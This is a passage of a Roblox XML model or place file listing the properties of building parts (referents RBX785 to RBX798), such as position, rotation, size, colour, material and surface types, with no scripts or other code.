							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>6</X>
								<Y>1.20000005</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX785">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">199</int>
							<CoordinateFrame name="CFrame">
								<X>62.5</X>
								<Y>5.80000019</Y>
								<Z>62.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX786">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">199</int>
							<CoordinateFrame name="CFrame">
								<X>64.5</X>
								<Y>5.80000019</Y>
								<Z>64.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX787">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">199</int>
							<CoordinateFrame name="CFrame">
								<X>60.5</X>
								<Y>5.80000019</Y>
								<Z>61.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX788">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">199</int>
							<CoordinateFrame name="CFrame">
								<X>64.5</X>
								<Y>5.80000019</Y>
								<Z>61.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX789">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">199</int>
							<CoordinateFrame name="CFrame">
								<X>65.5</X>
								<Y>5.80000019</Y>
								<Z>64</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX790">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">105</int>
						<CoordinateFrame name="CFrame">
							<X>54</X>
							<Y>2.20000005</Y>
							<Z>61</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">512</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>30</X>
							<Y>3.60000014</Y>
							<Z>8</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX791">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>52</X>
							<Y>4.60000038</Y>
							<Z>62.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1.20000005</Y>
							<Z>3</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX792">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>52</X>
							<Y>5.80000019</Y>
							<Z>61.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX793">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>63</X>
							<Y>4.60000038</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX794">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>63</X>
							<Y>5.80000019</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX795">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>68</X>
							<Y>7</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>6</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX796">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>63</X>
							<Y>7</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX797">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>68</X>
							<Y>4.60000038</Y>
							<Z>62.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1.20000005</Y>
							<Z>3</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX798">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>68</X>
							<Y>5.80000019</Y>
							<Z>61.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
